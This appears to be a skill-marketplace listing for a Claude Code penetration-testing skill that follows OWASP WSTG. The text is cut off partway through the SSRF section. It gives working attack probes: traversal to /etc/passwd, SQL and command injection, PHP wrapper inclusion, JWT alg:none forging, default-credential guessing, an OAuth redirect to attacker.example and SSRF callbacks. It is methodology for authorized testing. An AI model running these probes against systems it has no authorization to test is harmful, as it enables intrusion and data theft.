mcpField
W
wstg-web-pentest

wstg-web-pentest

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 wstg-web-pentest

一套遵循 OWASP WSTG 的 Web 应用渗透测试方法,适用于需要分阶段流程、具体命令及发现验证标准的安全测试人员。内容涵盖测试规划、观察分类和结果核实。

主要功能

  1. 01按 12 个 WSTG 阶段组织测试
  2. 02提供命令和预期输出
  3. 03按验证状态对观察结果分类
  4. 04说明注意事项和核实标准

适用场景

  1. 01规划范围明确的 Web 应用渗透测试
  2. 02依据 OWASP WSTG 审计应用
  3. 03报告前验证扫描器输出
  4. 04记录可复现的测试方法

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill wstg-web-pentest

安装后在 Claude Code 中输入/wstg-web-pentest确认已加载。

详细介绍

WSTG Web 应用渗透测试

与 OWASP WSTG 对齐的完整测试方法。每个阶段都对应一个 WSTG 类别,并提供具体命令、预期输出、注意事项和验证标准。

12 个阶段:

1.  Information Gathering           WSTG-INFO
2.  Configuration & Deployment       WSTG-CONF
3.  Identity Management              WSTG-IDNT
4.  Authentication                   WSTG-ATHN
5.  Authorization                    WSTG-ATHZ
6.  Session Management               WSTG-SESS
7.  Input Validation                 WSTG-INPV
8.  Error Handling                   WSTG-ERRH
9.  Weak Cryptography                WSTG-CRYP
10. Business Logic                   WSTG-BUSL
11. Client-side                      WSTG-CLNT
12. API Testing                      WSTG-APIT

对每项观察结果进行分类:

状态含义
信号观察结果足以证明有必要跟进
可访问在已测试的上下文中可访问服务或行为
存在漏洞在受控测试中,安全属性未通过验证
可利用受控测试证实了具体影响

适用场景

  • 开始对范围明确的 Web 应用进行渗透测试
  • 根据 OWASP 测试标准审计 Web 应用
  • 根据观察到的技术和行为制定测试计划
  • 参与测试需要记录方法论时
  • 将自动化扫描器的输出转化为经过验证的发现

前置条件

  • 范围内的域名、IP、API 和测试账号
  • 排除项、速率限制、测试时段和中止条件
  • 允许的操作:被动、主动只读、侵入性、破坏性
  • 已安装的工具:curl、subfinder、dnsx、httpx、katana、nuclei、 nmap、ffuf、jq、python3、openssl、tlsx、wappalyzer 或 whatweb
  • 已配置拦截代理的浏览器,用于经过身份验证的测试
  • 两个不同身份的测试账号(用于授权测试)

运行方法

TARGET="example.com"
OUTPUT_DIR="${OUTPUT_DIR:-./output}/${TARGET}"
mkdir -p "$OUTPUT_DIR"/{assets,http,urls,evidence,reports}

# Run phases sequentially, stopping at scope boundaries:
# 1. INFO  -> 2. CONF -> 3. IDNT -> 4. ATHN -> 5. ATHZ ->
# 6. SESS -> 7. INPV -> 8. ERRH -> 9. CRYP -> 10. BUSL ->
# 11. CLNT -> 12. APIT -> Report

流程

阶段 1:信息收集(WSTG-INFO-01 至 INFO-10)

测试前绘制攻击面。

1.1 搜索引擎发现(WSTG-INFO-01)
# Google dorks (manual in browser)
site:${TARGET}
site:${TARGET} filetype:pdf
site:${TARGET} inurl:admin
site:${TARGET} intitle:"index of"

# GitHub code search
gh search code "example.com" --limit 100 2>/dev/null

注意事项: 搜索结果可能包含第三方引用。将结果视为范围内目标前,请先确认所有权。

1.2 识别 Web 服务器(WSTG-INFO-02)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -iE 'server|x-powered-by|x-aspnet-version|x-generator'

whatweb --max-redirects 2 --no-errors "https://${TARGET}" 2>/dev/null

预期输出: Server 标头、技术栈线索。

注意事项: 反向代理可能会隐藏或伪造标头。结合响应行为和错误页面交叉验证。

验证: 至少有两个独立信号指向同一技术。

1.3 检查元文件(WSTG-INFO-03)
for path in robots.txt sitemap.xml security.txt .well-known/security.txt; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/${path}" 2>/dev/null)
  printf '%-30s %s\n' "$path" "$code"
done

注意事项: robots.txt 中禁止访问的路径是线索,并非隐藏的秘密。sitemap.xml 有时会列出管理或预发布端点。

1.4 发现攻击面(WSTG-INFO-04)
subfinder -d "$TARGET" -silent | tee "$OUTPUT_DIR/assets/hostnames.txt"

curl -sS --max-time 30 \
  "https://crt.sh/?q=%.${TARGET}&output=json" 2>/dev/null \
  | jq -r '.[].name_value' 2>/dev/null \
  | sed 's/^\*\.//' | sort -u \
  >> "$OUTPUT_DIR/assets/hostnames.txt"

sort -u "$OUTPUT_DIR/assets/hostnames.txt" -o "$OUTPUT_DIR/assets/hostnames.txt"

注意事项: 通配符条目是模式,并非主机。SAN 中可能出现第三方名称。探测前先判断范围和所有权。

1.5 解析并探测(WSTG-INFO-04 续)
dnsx -l "$OUTPUT_DIR/assets/hostnames.txt" -silent -a -json \
  -o "$OUTPUT_DIR/assets/dns.jsonl"

httpx -l "$OUTPUT_DIR/assets/hostnames.txt" \
  -silent -rate-limit 2 \
  -status-code -title -tech-detect -server -ip -cname -json \
  -o "$OUTPUT_DIR/http/services.jsonl"

# Live URLs only
jq -r '.url // empty' "$OUTPUT_DIR/http/services.jsonl" | sort -u \
  > "$OUTPUT_DIR/http/live-urls.txt"
1.6 检查页面内容(WSTG-INFO-05)
while IFS= read -r url; do
  curl -sS --max-time 10 "$url" 2>/dev/null \
    | grep -oPi '(email|password|secret|key|token|api[_-]?key|authorization|bearer)[^a-z0-9]*[=:]\s*["\x27]?[^\s"'\''<>&]+' \
    | head -5
  sleep 1
done < "$OUTPUT_DIR/http/live-urls.txt"

注意事项: 注释、内联脚本和 HTML 数据属性中经常包含误导性线索。报告前请结合上下文确认。

1.7 识别入口点(WSTG-INFO-06)
katana -list "$OUTPUT_DIR/http/live-urls.txt" \
  -silent -jc -c 2 -p 2 -rl 2 \
  -o "$OUTPUT_DIR/urls/katana.txt"

# Historical URLs
echo "$TARGET" | waybackurls 2>/dev/null > "$OUTPUT_DIR/urls/wayback.txt"
gau "$TARGET" --subs 2>/dev/null > "$OUTPUT_DIR/urls/gau.txt"

# Merge and classify
cat "$OUTPUT_DIR/urls/katana.txt" \
    "$OUTPUT_DIR/urls/wayback.txt" \
    "$OUTPUT_DIR/urls/gau.txt" \
  | sort -u > "$OUTPUT_DIR/urls/all.txt"

grep -iE '/api/|/graphql|/rest/|swagger|openapi|/v[0-9]+/' \
  "$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/api-candidates.txt"

grep -iE 'login|logout|register|reset|oauth|saml|callback|session|token|mfa|2fa' \
  "$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/auth-candidates.txt"

grep -iE '\.js(\?.*)?$' \
  "$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/javascript.txt"

grep -E '[?&][a-zA-Z0-9_.-]+=' \
  "$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/parameterized.txt"
1.8 识别框架(WSTG-INFO-08)
httpx -l "$OUTPUT_DIR/http/live-urls.txt" \
  -silent -tech-detect -json \
  | jq -r '[.url, (.tech // [] | join(","))] | @tsv' \
  > "$OUTPUT_DIR/http/frameworks.tsv"

验证: 至少通过两个信号确认框架指纹:标头、Cookie 名称(例如 laravel_session、JSESSIONID)、路径模式(/wp-content/、/_next/)或独特的错误页面。

1.9 绘制应用架构(WSTG-INFO-10)
# TLS inspection
tlsx -l "$OUTPUT_DIR/http/live-urls.txt" -silent -san -nc -json \
  -o "$OUTPUT_DIR/assets/tls.jsonl"

# Port scan (when in-scope IPs are provided)
nmap -sT --top-ports 100 --open -T3 \
  -oA "$OUTPUT_DIR/assets/nmap-top100" \
  -iL in-scope-ips.txt 2>/dev/null

注意事项: 端口扫描属于主动操作,且可能被检测到。仅扫描范围内的 IP,并采用保守的扫描速度。


阶段 2:配置与部署(WSTG-CONF-01 至 CONF-14)

测试基础设施和平台配置。

2.1 网络基础设施(WSTG-CONF-01)
# Check for common admin panels
for path in admin administrator admin.php admin.aspx console manager \
  phpmyadmin pma phppgadmin webmin cpanel:2082 whm:2086; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/${path}" 2>/dev/null)
  [ "$code" != "404" ] && printf '%-25s %s\n' "$path" "$code"
  sleep 1
done
2.2 应用平台配置(WSTG-CONF-02)
# Common config files
for path in .env .env.local .env.production .env.development \
  config.json config.yml config.yaml settings.py wp-config.php \
  web.config .htaccess Dockerfile docker-compose.yml; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/${path}" 2>/dev/null)
  [ "$code" = "200" ] && echo "[!] EXPOSED: $path (HTTP $code)"
  sleep 1
done

注意事项: 返回通用 Shell 或重定向的 200 响应并不代表配置泄露。务必检查响应正文。

验证: 正文包含配置键、数据库凭据、API 密钥或环境变量。

2.3 文件扩展名(WSTG-CONF-03)
# Check how the server handles backup and alternate extensions
for ext in bak old backup orig save swp tmp ~; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/index.html.${ext}" 2>/dev/null)
  [ "$code" != "404" ] && echo "[*] index.html.${ext}: $code"
  sleep 1
done
2.4 备份文件和未引用文件(WSTG-CONF-04)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt \
  -u "https://${TARGET}/FUZZ" \
  -e .bak,.old,.backup,.zip,.tar.gz,.sql,.tgz \
  -mc 200,301,302,403 \
  -rate 5 -t 5 \
  -o "$OUTPUT_DIR/evidence/ffuf-backup.json" 2>/dev/null

注意事项: 来自公开来源(GitHub releases、CDN)的归档文件并非泄露。报告前请确认文件中包含源代码或配置。

2.5 管理界面(WSTG-CONF-05)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common-admin.txt \
  -u "https://${TARGET}/FUZZ" \
  -mc 200,301,302,403 -rate 5 -t 5 \
  -o "$OUTPUT_DIR/evidence/ffuf-admin.json" 2>/dev/null
2.6 HTTP 方法(WSTG-CONF-06)
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    -X "$method" "https://${TARGET}/" 2>/dev/null)
  printf '%-8s %s\n' "$method" "$code"
  sleep 1
done

# OPTIONS response often lists allowed methods
curl -sS -D - --max-time 10 -X OPTIONS "https://${TARGET}/" 2>/dev/null \
  | grep -i 'allow:'

注意事项: TRACE 仅用于提供信息,除非与携带 Cookie 的请求结合使用。未经过身份验证即可使用 PUT 属于高风险。

2.7 HSTS(WSTG-CONF-07)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -i 'strict-transport-security'

验证: 存在该标头,且 max-age >= 31536000,并包含 includeSubDomains。

2.10 子域名接管(WSTG-CONF-10)
# Check CNAMEs pointing to unclaimed services
dnsx -l "$OUTPUT_DIR/assets/hostnames.txt" -silent -cname -json \
  | jq -r 'select(.cname != null) | "\(.host) -> \(.cname | join(","))"' \
  > "$OUTPUT_DIR/assets/cnames.txt"

subzy run --targets "$OUTPUT_DIR/assets/hostnames.txt" 2>/dev/null

验证: 确认存在指向某项服务的悬空 CNAME 记录,且该服务允许重新注册目标主机名。

2.11 云存储(WSTG-CONF-11)
# S3 buckets named after the target
for bucket in "${TARGET}" "static.${TARGET}" "media.${TARGET}" \
  "cdn.${TARGET}" "assets.${TARGET}"; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${bucket}.s3.amazonaws.com" 2>/dev/null)
  [ "$code" != "404" ] && echo "[*] S3 bucket $bucket: $code"
done
2.12 内容安全策略(WSTG-CONF-12)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -i 'content-security-policy'

验证: 存在 CSP;未在没有 nonce 或哈希的情况下包含 unsafe-inline 或 unsafe-eval;并限制 script-src 和 object-src。

2.13 路径混淆(WSTG-CONF-13)
# Check how path traversal and encoding are handled
for path in "%2e%2e/%2e%2e/etc/passwd" \
  "..;/..;/etc/passwd" \
  "/%2e%2e/%2e%2e/%2e%2e/etc/passwd"; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/${path}" 2>/dev/null)
  echo "$path: $code"
  sleep 1
done
2.14 安全标头(WSTG-CONF-14)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -iE 'x-frame-options|x-content-type-options|referrer-policy|permissions-policy|x-xss-protection'

验证: X-Frame-Options 为 DENY 或 SAMEORIGIN;X-Content-Type-Options 为 nosniff;Referrer-Policy 限制引荐来源;Permissions-Policy 限制 敏感 API。


阶段 3:身份管理(WSTG-IDNT-01 至 IDNT-05)

测试用户注册、配置和枚举。

3.1 角色定义(WSTG-IDNT-01)

根据捕获的流量、API 响应和观察到的 UI,记录每个角色。 对每个角色,记录其可访问的路由和操作。

3.2 用户注册(WSTG-IDNT-02)
# Test registration with invalid inputs
curl -sS --max-time 10 -X POST "https://${TARGET}/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"<script>alert(1)</script>","password":"a","email":"../../etc/passwd"}' \
  2>/dev/null | head -20

按身份执行的测试:

测试观察内容
重复注册错误消息是否泄露已有用户的信息?
弱密码是否未要求密码满足复杂度要求便予以接受?
自动注册是否有 CAPTCHA 或速率限制?
绕过电子邮件验证验证之前能否使用该账户?
3.4 账户枚举(WSTG-IDNT-04)
# Login timing analysis
time curl -sS --max-time 10 -X POST "https://${TARGET}/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"wrong"}' > /dev/null 2>&1

time curl -sS --max-time 10 -X POST "https://${TARGET}/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"nonexistent12345","password":"wrong"}' > /dev/null 2>&1

# Password reset enumeration
curl -sS --max-time 10 -X POST "https://${TARGET}/reset" \
  -H 'Content-Type: application/json' \
  -d '{"email":"admin@'"${TARGET}"'"}' 2>/dev/null

curl -sS --max-time 10 -X POST "https://${TARGET}/reset" \
  -H 'Content-Type: application/json' \
  -d '{"email":"nonexistent@'"${TARGET}"'"}' 2>/dev/null

注意事项: 低于 200 ms 的时间差很少能作为可靠依据。状态码和响应正文的差异是更有力的信号。

验证: 在多次测试中,已有账户和不存在的账户之间存在一致且可复现的差异。

注意事项: 不要枚举生产账户。使用合成测试账户确认该机制存在,然后停止测试。


阶段 4:身份验证(WSTG-ATHN-01 至 ATHN-11)

测试完整的身份验证流程。

4.1 通过加密通道传输凭据(WSTG-ATHN-01)
# Check login form action
curl -sS --max-time 10 "https://${TARGET}/login" 2>/dev/null \
  | grep -oPi 'action=["\x27][^"\x27]*["\x27]'

# Check that login POST uses HTTPS
curl -sS --max-time 10 -X POST "http://${TARGET}/login" \
  -o /dev/null -w '%{redirect_url}\n' 2>/dev/null

验证: 登录表单通过 HTTPS 提交。HTTP 版本会在接受凭据前重定向到 HTTPS。

4.2 默认凭据(WSTG-ATHN-02)
# Test common defaults (only on test accounts or after confirming scope allows)
for creds in "admin:admin" "admin:password" "admin:${TARGET}" \
  "administrator:administrator" "root:root" "user:user" \
  "test:test" "guest:guest"; do
  IFS=':' read -r user pass <<< "$creds"
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    -u "$user:$pass" "https://${TARGET}/" 2>/dev/null)
  [ "$code" = "200" ] && echo "[!] Default creds work: $user:$pass -> $code"
  sleep 2
done

注意事项: 这会产生身份验证失败。可能会触发速率限制。不要导致账户被锁定。

4.3 弱账户锁定机制(WSTG-ATHN-03)

不要使用生产账户进行测试。 使用专用测试账户。

for i in $(seq 1 10); do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    -X POST "https://${TARGET}/login" \
    -d "username=test-lockout&password=wrong$i" 2>/dev/null)
  echo "Attempt $i: $code"
  sleep 1
done
# Try the correct password afterward
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
  -X POST "https://${TARGET}/login" \
  -d "username=test-lockout&password=correctpassword" 2>/dev/null)
echo "After lockout: $code"

验证: 连续失败 N 次后账户会被锁定(通常为 3-10 次)。 即使密码正确,账户也会保持锁定。

4.4 绕过身份验证方案(WSTG-ATHN-04)
# Direct page access — request protected pages without a session
for url in /admin /dashboard /api/admin /internal /manage /settings /profile; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}${url}" 2>/dev/null)
  echo "$url: $code"
  sleep 1
done

# Parameter modification — test if role/privilege parameters bypass auth
curl -sS --max-time 10 "https://${TARGET}/admin?admin=true" -o /dev/null -w '%{http_code}\n' 2>/dev/null
curl -sS --max-time 10 "https://${TARGET}/admin?debug=true" -o /dev/null -w '%{http_code}\n' 2>/dev/null
4.7 弱身份验证方法(WSTG-ATHN-07)

记录身份验证流程:

  • 是否通过 HTTPS 使用 Basic 身份验证?(没有更好的选项时可以接受)
  • 是否基于表单并带有 CSRF 令牌?(最低要求)
  • 是否使用 MFA?(敏感操作的必需项)
  • 是否有密码策略?(最低长度、复杂度)
  • 是否有账户恢复流程?(基于电子邮件、安全问题)
4.9 密码重置(WSTG-ATHN-09)
# Check if token appears in URL / Referer / response
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/reset" \
  -H 'Content-Type: application/json' \
  -d '{"email":"test-user@'"${TARGET}"'"}' 2>/dev/null

# Test token predictability (only on test accounts)
TOKEN1=$(echo "reset-token-$(date +%s)" | md5sum | cut -d' ' -f1)
TOKEN2=$(echo "reset-token-$(( $(date +%s) - 60 ))" | md5sum | cut -d' ' -f1)
# Request reset with each token variant

验证: 令牌具有高熵、只能使用一次、有时效限制,并通过独立通道发送。

4.11 多因素身份验证(WSTG-ATHN-11)
# Check if MFA can be skipped by requesting post-MFA URLs directly
curl -sS --max-time 10 "https://${TARGET}/dashboard" \
  -H 'Cookie: session=<post-login-cookie>' -o /dev/null -w '%{http_code}\n'

# Check OTP rate limiting (use test account)
for i in $(seq 1 5); do
  curl -sS --max-time 10 -X POST "https://${TARGET}/mfa/verify" \
    -H 'Content-Type: application/json' \
    -d '{"code":"000000"}' -o /dev/null -w '%{http_code} '
  sleep 1
done; echo

阶段 5:授权(WSTG-ATHZ-01 至 ATHZ-05)

至少需要两个测试身份。

5.1 目录遍历/文件包含(WSTG-ATHZ-01)
# LFI candidates
for payload in \
  "../../../etc/passwd" \
  "....//....//....//etc/passwd" \
  "..%252f..%252f..%252fetc/passwd" \
  "/etc/passwd" \
  "file:///etc/passwd" \
  "php://filter/convert.base64-encode/resource=index" \
  "....//....//....//....//windows/win.ini"; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/?page=${payload}" 2>/dev/null)
  echo "$payload: $code"
  sleep 1
done

验证: 响应中包含 /etc/passwd 内容、源代码或通过内容特征确认的特定操作系统文件内容(不能仅凭 200 状态码确认)。

5.2 绕过授权方案(WSTG-ATHZ-02)

使用两个测试身份(用户 A 和用户 B):

# User A accesses User B's resources
curl -sS --max-time 10 "https://${TARGET}/api/user/profile" \
  -H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n'

curl -sS --max-time 10 "https://${TARGET}/api/user/profile?user_id=USER_B_ID" \
  -H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n'
5.3 权限提升(WSTG-ATHZ-03)
# Test if lower-privilege user can access admin endpoints
for path in /admin /admin/users /api/admin /manage /settings/admin; do
  code=$(curl -sS --max-time 10 "https://${TARGET}${path}" \
    -H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$path: $code"
  sleep 1
done

# Test role parameter manipulation
curl -sS --max-time 10 -X PATCH "https://${TARGET}/api/user/profile" \
  -H 'Authorization: Bearer USER_A_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"role":"admin"}' 2>/dev/null
5.4 不安全的直接对象引用(WSTG-ATHZ-04)
# After observing an object ID pattern, test sequential access
BASE_ID=100
for i in $(seq 0 5); do
  ID=$((BASE_ID + i))
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}/api/objects/${ID}" \
    -H 'Authorization: Bearer USER_A_TOKEN' \
    -sS -o /dev/null -w '%{http_code}' 2>/dev/null)
  body_len=$(curl -sS --max-time 10 \
    "https://${TARGET}/api/objects/${ID}" \
    -H 'Authorization: Bearer USER_A_TOKEN' 2>/dev/null | wc -c)
  echo "ID $ID: $code ($body_len bytes)"
  sleep 1
done

**验证:**用户 A 收到了属于用户 B 的对象数据,可通过比较内容、所有者字段或租户标识符确认。需要同时掌握两个身份才能作为证明。

5.5 OAuth 弱点(WSTG-ATHZ-05)
# Check OAuth redirect_uri validation
curl -sS --max-time 10 \
  "https://${TARGET}/oauth/authorize?client_id=CLIENT_ID&redirect_uri=https://attacker.example/callback&response_type=code" \
  -o /dev/null -w '%{http_code} %{redirect_url}\n'

# Test state parameter
curl -sS --max-time 10 \
  "https://${TARGET}/oauth/authorize?client_id=CLIENT_ID&redirect_uri=CALLBACK&response_type=code" \
  -o /dev/null -w '%{redirect_url}\n'

阶段 6:会话管理(WSTG-SESS-01 至 SESS-11)
6.1 会话方案(WSTG-SESS-01)
# Capture session cookies after login
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"TEST_USER","password":"TEST_PASS"}' \
  -o /dev/null 2>&1 | grep -i 'set-cookie'

测试:

测试检查内容
令牌熵长度 >= 128 位;使用 ent 或手动检查
令牌重新生成登录后是否生成新值?
注销时的令牌注销后是否在服务端失效?
修改密码时的令牌修改密码后是否失效?
并发会话是否允许多个会话同时存在?
6.2 Cookie 属性(WSTG-SESS-02)
# Check all Set-Cookie attributes on every response
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -i 'set-cookie' \
  | while read -r line; do
    echo "$line" | grep -qi 'secure' || echo "  [!] Missing Secure"
    echo "$line" | grep -qi 'httponly' || echo "  [!] Missing HttpOnly"
    echo "$line" | grep -qi 'samesite' || echo "  [!] Missing SameSite"
    echo "---"
  done

**验证:**会话 Cookie 具有 Secure、HttpOnly 和 SameSite=Lax 或 Strict 属性。作用域限定在路径时使用 __Host- 前缀。

6.3 会话固定(WSTG-SESS-03)
# Get a pre-authentication session cookie
SESSION=$(curl -sS -D - --max-time 10 "https://${TARGET}/login" \
  -o /dev/null 2>&1 | grep -i 'set-cookie' | sed 's/.*: //;s/;.*//')

# Use that cookie to authenticate
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
  -H "Cookie: $SESSION" \
  -d 'username=TEST_USER&password=TEST_PASS' \
  -o /dev/null 2>&1 | grep -i 'set-cookie'

# Check if the post-login cookie differs from the pre-login one

**验证:**服务器在通过身份验证后会签发新的会话标识符,而不是重复使用身份验证前的值。

6.5 跨站请求伪造(WSTG-SESS-05)
# Check for CSRF tokens on state-changing forms
curl -sS --max-time 10 "https://${TARGET}/settings" 2>/dev/null \
  | grep -iP 'csrf|_token|nonce|xsrf'

# Test if same-origin bypass works (no token, different method, custom header)
curl -sS --max-time 10 -X POST "https://${TARGET}/api/settings" \
  -H 'Content-Type: application/json' \
  -H 'Cookie: session=VALID_SESSION' \
  -d '{"email":"[email protected]"}' \
  -o /dev/null -w '%{http_code}\n' 2>/dev/null

**注意事项:**SameSite=Lax Cookie 无法防护基于 GET 的 CSRF。自定义标头(X-Requested-With)只能拦截简单的跨源请求。

6.6 注销(WSTG-SESS-06)
# Capture session, logout, try reusing session
SESSION=$(curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
  -d 'username=TEST_USER&password=TEST_PASS' -o /dev/null 2>&1 \
  | grep -i 'set-cookie' | sed 's/.*: //;s/;.*//')

curl -sS --max-time 10 -X POST "https://${TARGET}/logout" \
  -H "Cookie: $SESSION" -o /dev/null -w '%{http_code}\n'

sleep 2

curl -sS --max-time 10 "https://${TARGET}/settings" \
  -H "Cookie: $SESSION" -o /dev/null -w '%{http_code}\n'

**验证:**注销后会话失效(返回 302 或 401,而不是返回含有已验证身份内容的 200)。

6.7 会话超时(WSTG-SESS-07)

记录空闲超时和绝对超时时间。检查“记住我”是否会延长绝对超时时间。

6.10 JWT 测试(WSTG-SESS-10)
# Decode a JWT without verification
jwt_token="<captured_jwt>"
echo "$jwt_token" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# Test alg:none
header=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0)
payload=$(echo "$jwt_token" | cut -d. -f2)
echo "${header}.${payload}." | sed 's/=//g'

# Test weak HMAC secret
hashcat -m 16500 "$jwt_token" /usr/share/wordlists/rockyou.txt --quiet 2>/dev/null

**注意事项:**解码 JWT 不构成发现。真正的问题是:服务器接受 alg:none;预期使用 RS256/ES256 时却接受对称密钥;或使用可猜测的密钥。


阶段 7:输入验证(WSTG-INPV-01 至 INPV-22)
7.1 反射型 XSS(WSTG-INPV-01)
# Test every parameter with a benign probe first
for param in q search query id page name email message comment; do
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}/search?${param}=<xss%20id=xss>" \
    -o /dev/null -w '%{http_code}' 2>/dev/null)
  echo "$param: $code"
  sleep 1
done

# Check reflection in response body
curl -sS --max-time 10 "https://${TARGET}/search?q=xssreflectiontest" 2>/dev/null \
  | grep -o 'xssreflectiontest'

**注意事项:**WAF 可能会拦截明显的探测。先使用独特且无害的字符串检查是否反射,再尝试有效载荷。属性上下文中的编码反射需要使用不同于原始 HTML 上下文的有效载荷。

7.2 存储型 XSS(WSTG-INPV-02)

测试所有会持久保存内容的输入项:评论、个人资料、消息和支持工单。在第二个会话(不同浏览器或无痕模式)中验证存储的有效载荷是否会为另一位用户呈现。

7.3 HTTP 方法篡改(WSTG-INPV-03)
# Try bypassing restrictions by changing the HTTP method
for method in GET POST PUT PATCH DELETE HEAD OPTIONS; do
  code=$(curl -sS --max-time 10 -X "$method" \
    "https://${TARGET}/api/admin/users" \
    -H 'Authorization: Bearer USER_A_TOKEN' \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$method: $code"
  sleep 1
done
7.5 SQL 注入(WSTG-INPV-05)
# Detect with benign probes first
for payload in "'" "\"" "')" '"))' "1' OR '1'='1" "1 OR 1=1"; do
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}/product?id=${payload}" \
    -o /dev/null -w '%{http_code}' 2>/dev/null)
  echo "$payload: $code"
  sleep 1
done

# Time-based blind test
for db in "pg_sleep(5)" "sleep(5)" "WAITFOR DELAY '0:0:5'"; do
  time curl -sS --max-time 15 \
    "https://${TARGET}/product?id=1%3B${db}%3B--" \
    -o /dev/null 2>/dev/null
  sleep 1
done

**注意事项:**基于时间的测试容易产生噪声。快速响应中出现 5 秒延迟是强烈信号;200 毫秒的波动则不是。基于错误的测试需要了解 DBMS 的错误格式。

**验证:**通过基于错误、基于联合查询或盲注的渠道确认数据提取(数据库名称、表名称、行数)。单条错误消息只是线索,而不是发现。

7.11 代码注入 / 文件包含(WSTG-INPV-11)
# Test for PHP wrappers
for wrapper in \
  "php://filter/convert.base64-encode/resource=index.php" \
  "php://filter/convert.base64-encode/resource=../../etc/passwd" \
  "expect://id" \
  "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="; do
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}/?page=${wrapper}" \
    -o /dev/null -w '%{http_code}' 2>/dev/null)
  echo "$wrapper: $code"
  sleep 1
done
7.12 命令注入(WSTG-INPV-12)
# Test with time-based commands
for cmd in "sleep+5" "||+sleep+5" ";+sleep+5" "\x60sleep+5\x60" \
  "\$(sleep+5)" "|+sleep+5"; do
  time curl -sS --max-time 15 \
    "https://${TARGET}/ping?host=127.0.0.1${cmd}" \
    -o /dev/null 2>/dev/null
  sleep 1
done

**注意事项:**不要测试破坏性命令(rm、shutdown、wget)。对于盲测情况,使用基于时间或 OOB(Collaborator)检测。

7.16 HTTP 请求走私(WSTG-INPV-16)
# CL.TE probe
printf 'POST / HTTP/1.1\r\nHost: %s\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG' "$TARGET" \
  | nc -w 5 "$TARGET" 80

# H2.CL probe — requires HTTP/2 capable client
curl --http2 -sS --max-time 10 "https://${TARGET}/" -o /dev/null -w '%{http_version}\n'
7.17 Host 标头注入(WSTG-INPV-17)
curl -sS --max-time 10 "https://${TARGET}/" \
  -H "Host: evil.example.com" -o /dev/null -w '%{http_code}\n'

curl -sS --max-time 10 "https://${TARGET}/" \
  -H "X-Forwarded-Host: evil.example.com" -o /dev/null -w '%{http_code}\n'

**验证:**Host 标头会反映在密码重置链接、响应正文中的绝对 URL 或重定向中。仅在标头中反射并不具备可利用性。

7.18 SSTI(WSTG-INPV-18)
# Template engine detection probes — run these against every reflected parameter
for probe in '{{7*7}}' '${7*7}' '<%=7*7%>' '#{7*7}' '{{7*\'7\'}}' \
  '${{7*7}}' '@(7*7)'; do
  resp=$(curl -sS --max-time 10 \
    "https://${TARGET}/?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$probe'''))")" \
    2>/dev/null)
  echo "$resp" | grep -q '49' && echo "[!] SSTI confirmed: $probe returned 49 in $resp"
  sleep 1
done
7.19 SSRF(WSTG-INPV-19)
# Use an OOB Collaborator / Burp Collaborator / interactsh
CALLBACK="your-id.oastify.com"

# Test URL parameters that fetch external resources
for param in url uri path redirect callback webhook src proxy file image \
  avatar import fetch download; do
  curl -sS --max-time 10 \
    "https://${TARGET}/fetch?${param}=http://${CALLBACK}" \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null
  sleep 1
done

# Test request body JSON
curl -sS --max-time 10 -X POST "https://${TARGET}/api/import" \
  -H 'Content-Type: application/json' \
